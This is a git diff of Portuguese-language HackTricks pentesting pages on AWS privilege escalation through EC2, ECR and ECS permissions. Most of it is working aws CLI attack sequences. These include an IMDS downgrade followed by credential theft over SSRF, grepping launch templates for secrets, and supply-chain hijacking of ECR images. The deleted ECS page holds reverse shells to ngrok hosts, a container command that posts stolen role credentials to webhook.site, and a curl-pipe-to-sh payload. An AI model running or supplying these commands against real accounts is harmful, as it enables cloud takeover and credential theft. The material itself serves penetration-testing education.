+--launch-configuration-name bad_config \
+--desired-capacity 1 \
+--vpc-zone-identifier "subnet-e282f9b8"
+```
+**Impacto Potencial:** Privesc direto para uma role do EC2 diferente.
+
+### `!autoscaling`
+
+O conjunto de permissões **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **não é suficiente para escalar** privilégios para uma role IAM porque, para anexar a role especificada no Launch Configuration ou no Launch Template, **é necessário ter as permissões `iam:PassRole` e `ec2:RunInstances`** (que é um privesc conhecido).
+
+### `ec2-instance-connect:SendSSHPublicKey`
+
+Um atacante com a permissão **`ec2-instance-connect:SendSSHPublicKey`** pode adicionar uma chave ssh a um usuário e usá-la para fazer login (caso tenha acesso ssh à instância) ou para escalar privilégios.
+```bash
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "ec2-user" \
+--ssh-public-key "file://$PUBK_PATH"
+```
+**Impacto Potencial:** Privesc direto para os EC2 IAM roles anexados às instâncias em execução.
+
+### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
+
+Um atacante com a permissão **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** pode **adicionar uma chave ssh a uma conexão serial**. Se a console serial não estiver habilitada, o atacante precisa da permissão **`ec2:EnableSerialConsoleAccess` para habilitá-la**.
+
+Para conectar à porta serial você também **precisa conhecer o nome de usuário e a senha de um usuário** dentro da máquina.
+```bash
+aws ec2 enable-serial-console-access
+
+aws ec2-instance-connect send-serial-console-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--serial-port 0 \
+--region "eu-west-1" \
+--ssh-public-key "file://$PUBK_PATH"
+
+ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
+```
+Essa maneira não é tão útil para privesc, pois você precisa saber um username e password para explorá-la.
+
+**Impacto Potencial:** (Altamente difícil de provar) Privesc direto para as EC2 IAM roles anexadas às instâncias em execução.
+
+### `describe-launch-templates`,`describe-launch-template-versions`
+
+Como os launch templates têm versionamento, um atacante com permissões **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** poderia explorar isso para descobrir informações sensíveis, como credenciais presentes no user data. Para isso, o script a seguir percorre todas as versões dos launch templates disponíveis:
+```bash
+for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
+do
+echo "[*] Analyzing $i"
+aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
+do
+echo "VersionNumber: $version"
+echo "$userdata" | base64 -d
+echo
+done | grep -iE "aws_|password|token|api"
+done
+```
+Nos comandos acima, embora estejamos especificando certos padrões (`aws_|password|token|api`), você pode usar uma regex diferente para buscar outros tipos de informação sensível.
+
+Se encontrarmos `aws_access_key_id` e `aws_secret_access_key`, podemos usar essas credenciais para autenticar na AWS.
+
+**Impacto Potencial:** Escalada direta de privilégios para usuário(s) IAM.
+
+## References
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+### `ec2:ModifyInstanceMetadataOptions` (rebaixamento do IMDS para permitir roubo de credenciais via SSRF)
+
+Um atacante com a capacidade de chamar `ec2:ModifyInstanceMetadataOptions` em uma instância EC2 alvo pode enfraquecer as proteções do IMDS habilitando IMDSv1 (`HttpTokens=optional`) e aumentando o `HttpPutResponseHopLimit`. Isso torna o endpoint de metadata da instância acessível via caminhos comuns de SSRF/proxy a partir de aplicações em execução na instância. Se o atacante conseguir disparar um SSRF em tal app, ele poderá recuperar as credenciais do instance profile e pivotar com elas.
+
+- Permissões necessárias: `ec2:ModifyInstanceMetadataOptions` na instância alvo (além da capacidade de alcançar/disparar um SSRF no host).
+- Recurso alvo: A instância EC2 em execução com um instance profile anexado (IAM role).
+
+Exemplo de comandos:
+```bash
+# 1) Check current metadata settings
+aws ec2 describe-instances --instance-id <INSTANCE_ID> \
+--query 'Reservations[0].Instances[0].MetadataOptions'
+
+# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
+aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
+--http-endpoint enabled --http-tokens optional \
+--http-put-response-hop-limit 3 --instance-metadata-tags enabled
+
+# 3) Through the SSRF, enumerate role name
+curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
+
+# 4) Through the SSRF, steal the temporary credentials
+curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"
+
+# 5) Use the stolen credentials
+export AWS_ACCESS_KEY_ID=<AccessKeyId>
+export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
+export AWS_SESSION_TOKEN=<Token>
+aws sts get-caller-identity
+
+# 6) Restore protections (require IMDSv2, low hop limit)
+aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
+--http-tokens required --http-put-response-hop-limit 1
+```
+Impacto Potencial: Roubo das credenciais do instance profile via SSRF levando a privilege escalation e lateral movement com as permissões da role EC2.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
deleted file mode 100644
index 15454d2e2..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
+++ /dev/null
@@ -1,100 +0,0 @@
-# AWS - ECR Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
-
-Um atacante com **`ecr:GetAuthorizationToken`** e **`ecr:BatchGetImage`** pode fazer login no ECR e baixar imagens.
-
-Para mais informações sobre como baixar imagens:
-
-{{#ref}}
-../aws-post-exploitation/aws-ecr-post-exploitation.md
-{{#endref}}
-
-**Impacto Potencial:** Privesc indireto ao interceptar informações sensíveis no tráfego.
-
-### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
-
-Um atacante com todas essas permissões **pode fazer login no ECR e fazer upload de imagens**. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens estão sendo usadas.
-
-Para aprender como fazer upload de uma nova imagem/atualizar uma, verifique:
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
-
-Como a seção anterior, mas para repositórios públicos.
-
-### `ecr:SetRepositoryPolicy`
-
-Um atacante com essa permissão poderia **mudar** a **política** do **repositório** para conceder a si mesmo (ou até mesmo a todos) **acesso de leitura/gravação**.\
-Por exemplo, neste exemplo, o acesso de leitura é concedido a todos.
-```bash
-aws ecr set-repository-policy \
---repository-name <repo_name> \
---policy-text file://my-policy.json
-```
-Conteúdo de `my-policy.json`:
-```json
-{
-"Version": "2008-10-17",
-"Statement": [
-{
-"Sid": "allow public pull",
-"Effect": "Allow",
-"Principal": "*",
-"Action": [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-### `ecr-public:SetRepositoryPolicy`
-
-Como na seção anterior, mas para repositórios públicos.\
-Um atacante pode **modificar a política do repositório** de um repositório ECR Público para conceder acesso público não autorizado ou para escalar seus privilégios.
-```bash
-bashCopy code# Create a JSON file with the malicious public repository policy
-echo '{
-"Version": "2008-10-17",
-"Statement": [
-{
-"Sid": "MaliciousPublicRepoPolicy",
-"Effect": "Allow",
-"Principal": "*",
-"Action": [
-"ecr-public:GetDownloadUrlForLayer",
-"ecr-public:BatchGetImage",
-"ecr-public:BatchCheckLayerAvailability",
-"ecr-public:PutImage",
-"ecr-public:InitiateLayerUpload",
-"ecr-public:UploadLayerPart",
-"ecr-public:CompleteLayerUpload",
-"ecr-public:DeleteRepositoryPolicy"
-]
-}
-]
-}' > malicious_public_repo_policy.json
-
-# Apply the malicious public repository policy to the ECR Public repository
-aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
-```
-**Impacto Potencial**: Acesso público não autorizado ao repositório ECR Público, permitindo que qualquer usuário envie, receba ou exclua imagens.
-
-### `ecr:PutRegistryPolicy`
-
-Um atacante com essa permissão poderia **mudar** a **política do registro** para conceder a si mesmo, sua conta (ou até mesmo a todos) **acesso de leitura/gravação**.
-```bash
-aws ecr set-repository-policy \
---repository-name <repo_name> \
---policy-text file://my-policy.json
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
new file mode 100644
index 000000000..0779cfa82
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
@@ -0,0 +1,268 @@
+# AWS - ECR Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
+
+Um atacante com os **`ecr:GetAuthorizationToken`** e **`ecr:BatchGetImage`** pode fazer login no ECR e baixar imagens.
+
+For more info on how to download images:
+
+{{#ref}}
+../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
+{{#endref}}
+
+**Impacto potencial:** Privesc indireta por interceptação de informações sensíveis no tráfego.
+
+### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
+
+Um atacante com todas essas permissões **pode fazer login no ECR e fazer upload de imagens**. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens estão sendo usadas.
+
+To learn how to upload a new image/update one, check:
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
+
+Como na seção anterior, mas para repositórios públicos.
+
+### `ecr:SetRepositoryPolicy`
+
+Um atacante com essa permissão poderia **alterar** a **política** do **repositório** para se conceder (ou até a todos) **acesso de leitura/escrita**.\
+Por exemplo, neste exemplo o acesso de leitura é concedido a todos.
+```bash
+aws ecr set-repository-policy \
+--repository-name <repo_name> \
+--policy-text file://my-policy.json
+```
+Conteúdo do `my-policy.json`:
+```json
+{
+"Version": "2008-10-17",
+"Statement": [
+{
+"Sid": "allow public pull",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+### `ecr-public:SetRepositoryPolicy`
+
+Como na seção anterior, mas para repositórios públicos.\
+Um atacante pode **modificar a política do repositório** de um repositório ECR Public para conceder acesso público não autorizado ou para escalar seus privilégios.
+```bash
+# Create a JSON file with the malicious public repository policy
+echo '{
+"Version": "2008-10-17",
+"Statement": [
+{
+"Sid": "MaliciousPublicRepoPolicy",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"ecr-public:GetDownloadUrlForLayer",
+"ecr-public:BatchGetImage",
+"ecr-public:BatchCheckLayerAvailability",
+"ecr-public:PutImage",
+"ecr-public:InitiateLayerUpload",
+"ecr-public:UploadLayerPart",
+"ecr-public:CompleteLayerUpload",
+"ecr-public:DeleteRepositoryPolicy"
+]
+}
+]
+}' > malicious_public_repo_policy.json
+
+# Apply the malicious public repository policy to the ECR Public repository
+aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
+```
+**Impacto Potencial**: Acesso público não autorizado ao repositório ECR Public, permitindo que qualquer usuário possa push, pull ou delete imagens.
+
+### `ecr:PutRegistryPolicy`
+
+Um atacante com essa permissão poderia **alterar** a **política do registro** para conceder a si mesmo, à sua conta (ou até a todos) **acesso de leitura/gravação**.
+```bash
+aws ecr set-repository-policy \
+--repository-name <repo_name> \
+--policy-text file://my-policy.json
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### ecr:CreatePullThroughCacheRule
+
+Abuse ECR Pull Through Cache (PTC) rules to map an attacker-controlled upstream namespace to a trusted private ECR prefix. This makes workloads pulling from the private ECR transparently receive attacker images without any push to private ECR.
+
+- Permissões necessárias: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
+- Upstream testado: public.ecr.aws
+
+Passos (exemplo):
+
+1. Prepare attacker image in ECR Public
+# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
+docker login public.ecr.aws/<public_alias>
+docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
+docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
+
+2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
+aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
+
+3. Pull the attacker image via the private ECR path (no push to private ECR was done)
+docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
+docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
+docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
+
+Impacto potencial: Comprometimento da cadeia de suprimentos ao sequestrar nomes internos de imagens sob o prefixo escolhido. Qualquer workload que puxar imagens do ECR privado usando esse prefixo receberá conteúdo controlado pelo atacante.
+
+### `ecr:PutImageTagMutability`
+
+Abusar desta permissão para alterar um repositório com tag immutability para mutável e sobrescrever tags confiáveis (por exemplo, latest, stable, prod) com conteúdo controlado pelo atacante.
+
+- Permissões necessárias: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
+- Impacto: Comprometimento da cadeia de suprimentos ao substituir silenciosamente tags imutáveis sem alterar os nomes das tags.
+
+Passos (exemplo):
+
+<details>
+<summary>Envenenar uma tag imutável alternando a mutabilidade</summary>
+```bash
+REGION=us-east-1
+REPO=ht-immutable-demo-$RANDOM
+aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
+acct=$(aws sts get-caller-identity --query Account --output text)
+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+# Build and push initial trusted tag
+printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Attempt overwrite while IMMUTABLE (should fail)
+printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Flip to MUTABLE and overwrite
+aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Validate consumers pulling by tag now get the poisoned image (prints V2)
+docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+```
+</details>
+
+
+#### Global registry hijack via ROOT Pull-Through Cache rule
+
+Crie uma regra Pull-Through Cache (PTC) usando o especial `ecrRepositoryPrefix=ROOT` para mapear a raiz do registro ECR privado para um registro público upstream (por exemplo, ECR Public). Qualquer pull para um repositório inexistente no registro privado será servido de forma transparente a partir do upstream, permitindo supply-chain hijacking sem precisar dar push para o ECR privado.
+
+- Permissões necessárias: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
+- Impacto: Pulls para `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` têm sucesso e criam automaticamente repositórios privados provenientes do upstream.
+
+> Nota: Para regras `ROOT`, omita `--upstream-repository-prefix`. Fornecê-lo causará um erro de validação.
+
+<details>
+<summary>Demonstração (us-east-1, upstream public.ecr.aws)</summary>
+```bash
+REGION=us-east-1
+ACCT=$(aws sts get-caller-identity --query Account --output text)
+
+# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
+aws ecr create-pull-through-cache-rule \
+--region "$REGION" \
+--ecr-repository-prefix ROOT \
+--upstream-registry-url public.ecr.aws
+
+# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com
+
+# Example using an official mirror path hosted in ECR Public
+# (public.ecr.aws/docker/library/alpine:latest)
+docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest
+
+# 3) Verify repo and image now exist without any push
+aws ecr describe-repositories --region "$REGION" \
+--query "repositories[?repositoryName==docker/library/alpine]"
+aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED
+
+# 4) Cleanup
+aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
+aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true
+```
+</details>
+
+### `ecr:PutAccountSetting` (Rebaixar `REGISTRY_POLICY_SCOPE` para contornar negações da política de registro)
+
+Abuse `ecr:PutAccountSetting` para alternar o escopo da política de registro de `V2` (política aplicada a todas as ações do ECR) para `V1` (política aplicada apenas a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Se uma política de registro restritiva Deny bloquear ações como `CreatePullThroughCacheRule`, rebaixar para `V1` remove essa aplicação para que os Allows da identity‑policy entrem em efeito.
+
+- Permissões necessárias: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
+- Impacto: Capacidade de executar ações do ECR anteriormente bloqueadas por um Deny da política de registro (por exemplo, criar PTC rules) ao definir temporariamente o escopo para `V1`.
+
+Passos (exemplo):
+
+<details>
+<summary>Contornar o Deny da política de registro em CreatePullThroughCacheRule alternando para V1</summary>
+```bash
+REGION=us-east-1
+ACCT=$(aws sts get-caller-identity --query Account --output text)
+
+# 0) Snapshot current scope/policy (for restore)
+aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
+aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json
+
+# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
+cat > /tmp/deny-ptc.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "DenyPTCAll",
+"Effect": "Deny",
+"Principal": "*",
+"Action": ["ecr:CreatePullThroughCacheRule"],
+"Resource": "*"
+}
+]
+}
+JSON
+aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION
+
+# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
+set +e
+aws ecr create-pull-through-cache-rule \
+--region $REGION \
+--ecr-repository-prefix ptc-deny-test \
+--upstream-registry-url public.ecr.aws
+RC=$?
+set -e
+if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi
+
+# 3) Downgrade scope to V1 and retry (should SUCCEED now)
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
+aws ecr create-pull-through-cache-rule \
+--region $REGION \
+--ecr-repository-prefix ptc-deny-test \
+--upstream-registry-url public.ecr.aws
+
+# 4) Verify rule exists
+aws ecr describe-pull-through-cache-rules --region $REGION \
+--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"
+
+# 5) Cleanup and restore
+aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
+if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
+jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
+aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
+else
+aws ecr delete-registry-policy --region $REGION || true
+fi
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
+```
+</details>
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
deleted file mode 100644
index 60ef62ef6..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ /dev/null
@@ -1,327 +0,0 @@
-# AWS - ECS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Mais **info sobre ECS** em:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
-
-Um atacante que abusa das permissões `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadata e **executá-la**.
-
-{{#tabs }}
-{{#tab name="Reverse Shell" }}
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---requires-compatibilities "[\"FARGATE\"]" \
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
-
-# Run task definition
-aws ecs run-task --task-definition iam_exfiltration \
---cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
---launch-type FARGATE \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-```
-{{#endtab }}
-
-{{#tab name="Webhook" }}
-
-Crie um webhook em um site como webhook.site
-```bash
-
-# Create file container-definition.json
-[
-{
-"name": "exfil_creds",
-"image": "python:latest",
-"entryPoint": ["sh", "-c"],
-"command": [
-"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
-]
-}
-]
-
-# Run task definition, uploading the .json file
-aws ecs register-task-definition \
---family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 \
---memory 512 \
---requires-compatibilities FARGATE \
---container-definitions file://container-definition.json
-
-# Check the webhook for a response
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-
-```
-{{#endtab }}
-
-{{#endtabs }}
-
-**Impacto Potencial:** Direct privesc to a different ECS role.
-
-### `iam:PassRole`,`ecs:RunTask`
-Um atacante que tem permissões `iam:PassRole` e `ecs:RunTask` pode iniciar uma nova task do ECS com **execution role**, **task role** e o **command** do container modificados. O comando CLI `ecs run-task` contém a flag `--overrides` que permite alterar em tempo de execução os valores `executionRoleArn`, `taskRoleArn` e o `command` do container sem tocar na task definition.
-
-As IAM roles especificadas em `taskRoleArn` e `executionRoleArn` devem confiar/permitir ser assumidas por `ecs-tasks.amazonaws.com` na sua trust policy.
-
-Além disso, o atacante precisa saber:
-- Nome do cluster ECS
-- Sub-rede da VPC
-- Grupo de segurança (Se nenhum grupo de segurança for especificado, o padrão será usado)
-- Nome e revisão da Task Definition
-- Nome do Container
-```bash
-aws ecs run-task \
---cluster <cluster-name> \
---launch-type FARGATE \
---network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
---task-definition <task-definition:revision> \
---overrides '
-{
-"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
-"containerOverrides": [
-{
-"name": <container-name>,
-"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
-}
-]
-}'
-```
-No trecho de código acima um atacante sobrescreve apenas o valor de `taskRoleArn`. No entanto, o atacante precisa da permissão `iam:PassRole` sobre o `taskRoleArn` especificado no comando e sobre o `executionRoleArn` especificado na definição da task para que o ataque aconteça.
-
-Se a IAM role que o atacante pode passar tiver privilégios suficientes para fazer pull da imagem no ECR e iniciar a ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) então o atacante pode especificar a mesma IAM role para ambos `executionRoleArn` e `taskRoleArn` no comando `ecs run-task`.
-```sh
-aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
-{
-"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
-"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
-"containerOverrides": [
-{
-"name": "<container-name>",
-"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
-}
-]
-}'
-```
-**Impacto Potencial:** Privesc direto para qualquer ECS task role.
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
-
-Assim como no exemplo anterior, um atacante que abusa das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** no ECS pode **gerar uma nova definição de tarefa (task definition)** com um **contêiner malicioso** que rouba as credenciais de metadados e **executá-la**.\
-No entanto, neste caso, é necessário que exista uma instância de container para executar a definição de tarefa maliciosa.
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
-
-aws ecs start-task --task-definition iam_exfiltration \
---container-instances <instance_id>
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-```
-**Potential Impact:** Privesc direto para qualquer ECS role.
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
-
-Assim como no exemplo anterior, um atacante que abusa das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadados e **executá-la criando um novo service com pelo menos 1 task em execução.**
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn  "$ECS_ROLE_ARN" \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---requires-compatibilities "[\"FARGATE\"]" \
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
-
-# Run the task creating a service
-aws ecs create-service --service-name exfiltration \
---task-definition iam_exfiltration \
---desired-count 1 \
---cluster "$CLUSTER_ARN" \
---launch-type FARGATE \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
-
-# Run the task updating a service
-aws ecs update-service --cluster <CLUSTER NAME> \
---service <SERVICE NAME> \
---task-definition <NEW TASK DEFINITION NAME>
-```
-**Impacto Potencial:** Privesc direto para qualquer role do ECS.
-
-### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
-
-Na verdade, apenas com essas permissões é possível usar overrides para executar comandos arbitrários em um container assumindo uma role arbitrária, com algo como:
-```bash
-aws ecs run-task \
---task-definition "<task-name>" \
---overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
